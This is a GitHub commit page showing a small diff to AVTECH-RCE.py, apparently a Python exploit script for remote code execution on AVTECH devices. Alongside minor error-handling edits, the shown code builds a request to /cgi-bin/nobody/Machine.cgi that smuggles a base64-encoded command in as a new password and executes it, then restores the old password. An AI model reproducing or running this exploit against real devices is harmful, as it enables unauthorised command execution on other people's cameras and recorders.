Skip to content

Commit

Permalink
Update AVTECH-RCE.py
Browse files Browse the repository at this point in the history
  • Loading branch information
mcw0 committed Mar 15, 2018
1 parent 9fd917d commit f188624
Showing 1 changed file with 6 additions and 7 deletions.
13 changes: 6 additions & 7 deletions AVTECH-RCE.py
Expand Up @@ -106,7 +106,7 @@ def Send(self, uri, query_headers, query_data, ID):
try:
rsp = urllib2.urlopen(req)
except Exception as e:
print "[<] Failed: {}".format(str(e))
print "[<] {}".format(str(e))
return False

if self.Raw:
Expand Down Expand Up @@ -287,12 +287,11 @@ def Host(self,HOST):
URI = '/cgi-bin/nobody/Machine.cgi?action=change_password&account='+ base64.b64encode(credentials) +'&new_password='+ base64.b64encode(RCE)
print "[>] Adding and executing RCE"
response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,None,None)
if not response:
sys.exit(1)
if not response.split()[1] == 'OK':
print "[<] Failed {}".format(response)
else:
print "[<] {}".format(response.split()[1])
if not response == False:
if not response.split()[1] == 'OK':
print "[<] Failed {}".format(response)
else:
print "[<] {}".format(response.split()[1])

#
# Use 'RCE' as PWD and restore old PWD
Expand Down

0 comments on commit f188624

Please sign in to comment.